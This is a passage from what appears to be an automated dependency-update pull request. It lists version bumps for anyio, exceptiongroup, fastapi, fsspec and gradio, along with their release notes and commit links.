format of the version in the changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9d1bfe0da4261bcef3c10cd31218237805a89937\"\u003e\u003ccode\u003e9d1bfe0\u003c/code\u003e\u003c/a\u003e Bumped up the version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/77f7ce25e12c9becf5081105a47b1914e50a3e0a\"\u003e\u003ccode\u003e77f7ce2\u003c/code\u003e\u003c/a\u003e Fixed RuntimeError while shutting down the asyncio process pool (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1039\"\u003e#1039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/aecc666e6b3b40f977ee715d141bdd89711b45cb\"\u003e\u003ccode\u003eaecc666\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1036\"\u003e#1036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/e5569adf98394dfabebccf215a04d05d7819b506\"\u003e\u003ccode\u003ee5569ad\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 in the github-actions group (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1037\"\u003e#1037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/dde3ab8583cb194e663f6fb87703a4a79e2701eb\"\u003e\u003ccode\u003edde3ab8\u003c/code\u003e\u003c/a\u003e Moved a changelog entry to its correct position\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/250d4f183245bf7ee5ead0ff39d521cda2b8d617\"\u003e\u003ccode\u003e250d4f1\u003c/code\u003e\u003c/a\u003e Restore compatibility with pytest\u0026lt;=6.1.2 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1030\"\u003e#1030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/3708e227838e2f51464900cf806b25c30ca458a7\"\u003e\u003ccode\u003e3708e22\u003c/code\u003e\u003c/a\u003e Fixed a typo in the documentation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1035\"\u003e#1035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9adbe08c55e725b0388dcc4ab7556875da881a4c\"\u003e\u003ccode\u003e9adbe08\u003c/code\u003e\u003c/a\u003e Add new params to Path.glob \u0026amp; Path.rglob introduced since 3.12 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1034\"\u003e#1034\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/agronholm/anyio/compare/4.11.0...4.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `exceptiongroup` from 1.3.0 to 1.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/releases\"\u003eexceptiongroup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e when formatting unpickled TBEs from another Python process which did not apply the \u003ccode\u003eexceptiongroup\u003c/code\u003e patches (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/144\"\u003e#144\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/blob/main/CHANGES.rst\"\u003eexceptiongroup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eVersion history\u003c/h1\u003e\n\u003cp\u003eThis library adheres to \u003ccode\u003eSemantic Versioning 2.0 \u0026lt;http://semver.org/\u0026gt;\u003c/code\u003e_.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e\nwhen formatting unpickled TBEs from another Python process which did not apply the\n\u003ccode\u003eexceptiongroup\u003c/code\u003e patches\n(\u003ccode\u003e[#144](https://github.com/agronholm/exceptiongroup/issues/144) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/144\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e**kwargs\u003c/code\u003e to function and method signatures as appropriate to match the\nsignatures in the standard library\u003c/li\u003e\n\u003cli\u003eIn line with the stdlib typings in typeshed, updated \u003ccode\u003e(Base)ExceptionGroup\u003c/code\u003e generic\ntypes to define defaults for their generic arguments (defaulting to\n\u003ccode\u003eBaseExceptionGroup[BaseException]\u003c/code\u003e and \u003ccode\u003eExceptionGroup[Exception]\u003c/code\u003e)\n(PR by \u003ca href=\"https://github.com/mikenerone\"\u003e\u003ccode\u003e@​mikenerone\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged \u003ccode\u003eBaseExceptionGroup.__init__()\u003c/code\u003e to directly call\n\u003ccode\u003eBaseException.__init__()\u003c/code\u003e instead of the superclass \u003ccode\u003e__init__()\u003c/code\u003e in order to\nemulate the CPython behavior (broken or not) (PR by \u003ca href=\"https://github.com/cfbolz\"\u003e\u003ccode\u003e@​cfbolz\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged the \u003ccode\u003eexceptions\u003c/code\u003e attribute to always return the same tuple of exceptions,\ncreated from the original exceptions sequence passed to \u003ccode\u003eBaseExceptionGroup\u003c/code\u003e to\nmatch CPython behavior\n(\u003ccode\u003e[#143](https://github.com/agronholm/exceptiongroup/issues/143) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/143\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.2\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved an \u003ccode\u003eassert\u003c/code\u003e in \u003ccode\u003eexceptiongroup._formatting\u003c/code\u003e that caused compatibility\nissues with Sentry (\u003ccode\u003e[#123](https://github.com/agronholm/exceptiongroup/issues/123) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/123\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated the copying of \u003ccode\u003e__notes__\u003c/code\u003e to match CPython behavior (PR by CF Bolz-Tereick)\u003c/li\u003e\n\u003cli\u003eCorrected the type annotation of the exception handler callback to accept a\n\u003ccode\u003eBaseExceptionGroup\u003c/code\u003e instead of \u003ccode\u003eBaseException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFixed type errors on Python \u0026lt; 3.10 and the type annotation of \u003ccode\u003esuppress()\u003c/code\u003e\n(PR by John Litborn)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded special monkeypatching if \u003ccode\u003eApport \u0026lt;https://github.com/canonical/apport\u0026gt;\u003c/code\u003e_ has\noverridden \u003ccode\u003esys.excepthook\u003c/code\u003e so it will format exception groups correctly\n(PR by John Litborn)\u003c/li\u003e\n\u003cli\u003eAdded a backport of \u003ccode\u003econtextlib.suppress()\u003c/code\u003e from Python 3.12.1 which also handles\nsuppressing exceptions inside exception groups\u003c/li\u003e\n\u003cli\u003eFixed bare \u003ccode\u003eraise\u003c/code\u003e in a handler reraising the original naked exception rather than\nan exception group which is what is raised when you do a \u003ccode\u003eraise\u003c/code\u003e in an \u003ccode\u003eexcept*\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ddddb6fdf8582c4ae5187dc1bd258115974229fe\"\u003e\u003ccode\u003eddddb6f\u003c/code\u003e\u003c/a\u003e Added the release version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/49c5e60d9efad1416f4f42455e119375904a1d6d\"\u003e\u003ccode\u003e49c5e60\u003c/code\u003e\u003c/a\u003e Fixed AttributeError when formatting unpickled TBEs from an unpatched process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/1be517f553249822a8fa12a4d7520d4b3ef15acd\"\u003e\u003ccode\u003e1be517f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/152\"\u003e#152\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/af0ea2fdfe218a4c2a1cb31ebd1a61dba459af6f\"\u003e\u003ccode\u003eaf0ea2f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/149\"\u003e#149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/7c980a88a06a72db3d796d98504b335d24274abb\"\u003e\u003ccode\u003e7c980a8\u003c/code\u003e\u003c/a\u003e Removed pin on pyright version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ef853368c8b94479adbd33cc58f1cac05839e116\"\u003e\u003ccode\u003eef85336\u003c/code\u003e\u003c/a\u003e Fixed typing job not finding Python 3.14\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/080b3f4e925bbdb8cee70cc30c5ef2937eab2bde\"\u003e\u003ccode\u003e080b3f4\u003c/code\u003e\u003c/a\u003e Pinned pyright version to fix typeshed related failure\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ac660908a1987880eddbb249947c1eef6e08513b\"\u003e\u003ccode\u003eac66090\u003c/code\u003e\u003c/a\u003e Added Python 3.14 to the test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/a0da94dadfb39c0b52c0cd5c87ace166b00f74c1\"\u003e\u003ccode\u003ea0da94d\u003c/code\u003e\u003c/a\u003e Fixed test failures on Python 3.14\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/agronholm/exceptiongroup/compare/1.3.0...1.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.121.2 to 0.124.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.124.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🚸  Improve tracebacks by adding endpoint metadata. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14306\"\u003e#14306\u003c/a\u003e by \u003ca href=\"https://github.com/savannahostrowski\"\u003e\u003ccode\u003e@​savannahostrowski\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✏️ Fix typo in \u003ccode\u003escripts/mkdocs_hooks.py\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14457\"\u003e#14457\u003c/a\u003e by \u003ca href=\"https://github.com/yujiteshima\"\u003e\u003ccode\u003e@​yujiteshima\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.10\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix using class (not instance) dependency that has \u003ccode\u003e__call__\u003c/code\u003e method. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14458\"\u003e#14458\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🐛 Fix \u003ccode\u003eseparate_input_output_schemas=False\u003c/code\u003e with \u003ccode\u003ecomputed_field\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14453\"\u003e#14453\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.9\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OAuth2 scopes in OpenAPI in extra corner cases, parent dependency with scopes, sub-dependency security scheme without scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14459\"\u003e#14459\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.8\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OpenAPI security scheme OAuth2 scopes declaration, deduplicate security schemes with different scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14455\"\u003e#14455\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.7\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix evaluating stringified annotations in Python 3.10. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/11355\"\u003e#11355\u003c/a\u003e by \u003ca href=\"https://github.com/chaen\"\u003e\u003ccode\u003e@​chaen\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.6\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix support for functools wraps and partial combined, for async and regular functions and classes in path operations and dependencies. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14448\"\u003e#14448\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.5\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ Allow using dependables with \u003ccode\u003efunctools.partial()\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/9753\"\u003e#9753\u003c/a\u003e by \u003ca href=\"https://github.com/lieryan\"\u003e\u003ccode\u003e@​lieryan\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e✨ Add support for wrapped functions (e.g. \u003ccode\u003e@functools.wraps()\u003c/code\u003e) used with forward references. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/5077\"\u003e#5077\u003c/a\u003e by \u003ca href=\"https://github.com/lucaswiman\"\u003e\u003ccode\u003e@​lucaswiman\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e✨ Handle wrapped dependencies. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/9555\"\u003e#9555\u003c/a\u003e by \u003ca href=\"https://github.com/phy1729\"\u003e\u003ccode\u003e@​phy1729\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix optional sequence handling with new union syntax from Python 3.10. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14430\"\u003e#14430\u003c/a\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRefactors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🔥 Remove dangling extra condiitonal no longer needed. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14435\"\u003e#14435\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e♻️ Refactor internals, update \u003ccode\u003eis_coroutine\u003c/code\u003e check to reuse internal supported variants (unwrap, check class). PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14434\"\u003e#14434\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/b5ca13249e3f2002c70c3f2de528a128af2008f7\"\u003e\u003ccode\u003eb5ca132\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.124.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/a2cef707e30fb6eb14812e4e273e34079d30ae6b\"\u003e\u003ccode\u003ea2cef70\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/5b6245666b8a499d2551caff7567056ef7f881b2\"\u003e\u003ccode\u003e5b62456\u003c/code\u003e\u003c/a\u003e ✏️ Fix typo in \u003ccode\u003escripts/mkdocs_hooks.py\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14457\"\u003e#14457\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/dbd34f15789f4afa851e339cea4fcd49f421039d\"\u003e\u003ccode\u003edbd34f1\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/e1117f75505bbdb2d42321a009dbf26c9c2b8b6d\"\u003e\u003ccode\u003ee1117f7\u003c/code\u003e\u003c/a\u003e 🚸  Improve tracebacks by adding endpoint metadata (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14306\"\u003e#14306\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/08b09e5236e315b6f10265ed229f130d4befb4ea\"\u003e\u003ccode\u003e08b09e5\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.123.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/e7d7038dfa35fc923f20fd11a969d2e65e1b9df1\"\u003e\u003ccode\u003ee7d7038\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/da0ffab0b260475499294d3dc767409d7bca5c34\"\u003e\u003ccode\u003eda0ffab\u003c/code\u003e\u003c/a\u003e 🐛 Fix using class (not instance) dependency that has \u003ccode\u003e__call__\u003c/code\u003e method (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14458\"\u003e#14458\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/516169428d2fa189d34318ebc469a082c49c1189\"\u003e\u003ccode\u003e5161694\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/812a1926f06391b22b081fdb11fe7528e3b91293\"\u003e\u003ccode\u003e812a192\u003c/code\u003e\u003c/a\u003e 🐛 Fix \u003ccode\u003eseparate_input_output_schemas=False\u003c/code\u003e with \u003ccode\u003ecomputed_field\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14453\"\u003e#14453\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.121.2...0.124.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fsspec[http]` from 2025.10.0 to 2025.12.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/f199984f418ba7bdc5f8b56787e6f572047473a8\"\u003e\u003ccode\u003ef199984\u003c/code\u003e\u003c/a\u003e changelog (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1955\"\u003e#1955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/cfb7a2544f4e1b0a053ff8b2a835d00ad39e66ee\"\u003e\u003ccode\u003ecfb7a25\u003c/code\u003e\u003c/a\u003e fix(async): fix _glob kwargs passing (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1953\"\u003e#1953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/5fe1abcdfda1c4efd3e3ca003a11013de26594ce\"\u003e\u003ccode\u003e5fe1abc\u003c/code\u003e\u003c/a\u003e Mark dir fs, async wrapper as chained (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1932\"\u003e#1932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/97c0a0f5938470b32c5f637ed6f736cb8fa86d8b\"\u003e\u003ccode\u003e97c0a0f\u003c/code\u003e\u003c/a\u003e fix(asyn): support sync style implementation in async _rm_file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1951\"\u003e#1951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/0d9a9226e6fe466fb6e142ccc89625fbf2ef15ae\"\u003e\u003ccode\u003e0d9a922\u003c/code\u003e\u003c/a\u003e Simplify and extend fsspec.parquet for filters and multi-file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1945\"\u003e#1945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/25b805d2cf8f347fe0a40dc557e908e667ab8e7a\"\u003e\u003ccode\u003e25b805d\u003c/code\u003e\u003c/a\u003e Expose connection errors in HTTPFileSystem._exists (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1849\"\u003e#1849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/85b632448cfc0d662e852314c509a33606328af2\"\u003e\u003ccode\u003e85b6324\u003c/code\u003e\u003c/a\u003e add .size to ArrowFile (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1944\"\u003e#1944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dae0e8028776cedc9a0381f0033d870d5bde6b73\"\u003e\u003ccode\u003edae0e80\u003c/code\u003e\u003c/a\u003e Allow user override of seekable parameter in ArrowFSWrapper methods (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1950\"\u003e#1950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dbc633e4df6dbb928c7bcd753b3479d6cbe5bfe1\"\u003e\u003ccode\u003edbc633e\u003c/code\u003e\u003c/a\u003e Add support for Python 3.14 and drop EOL 3.9 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1946\"\u003e#1946\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/04a0c60e97d48ab2d36292b9338e381c1c2965ce\"\u003e\u003ccode\u003e04a0c60\u003c/code\u003e\u003c/a\u003e Avoid warning with ruff 0.14 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1942\"\u003e#1942\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/fsspec/filesystem_spec/compare/2025.10.0...2025.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio` from 5.49.1 to 5.50.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/blob/main/CHANGELOG.md\"\u003egradio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003egradio\u003c/h1\u003e\n\u003ch2\u003e6.0.2\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12475\"\u003e#12475\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/c4c36c7da3d14d60f4fd9b35bbe68d52f7b38bb9\"\u003e\u003ccode\u003ec4c36c7\u003c/code\u003e\u003c/a\u003e - Fix highlighted text in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12476\"\u003e#12476\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4e9a330a85396659e8cf4d90f25d3dde82a685b3\"\u003e\u003ccode\u003e4e9a330\u003c/code\u003e\u003c/a\u003e - Fix slider css issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12480\"\u003e#12480\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/b9732d10680ca66fa7b3f1e763d3cdd57b38c6ed\"\u003e\u003ccode\u003eb9732d1\u003c/code\u003e\u003c/a\u003e - [BUGFIX] Fix stream file download in gradio client.  Thanks \u003ca href=\"https://github.com/frascuchon\"\u003e\u003ccode\u003e@​frascuchon\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12490\"\u003e#12490\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/472e16439f2573b33d21b9635706416518405ddd\"\u003e\u003ccode\u003e472e164\u003c/code\u003e\u003c/a\u003e - Make client backwards compatible with version 5.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12489\"\u003e#12489\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/2a2dd60d5aa041d82640358a5ed6ba03f1b398e2\"\u003e\u003ccode\u003e2a2dd60\u003c/code\u003e\u003c/a\u003e - 12485 fix mcp client issue.  Thanks \u003ca 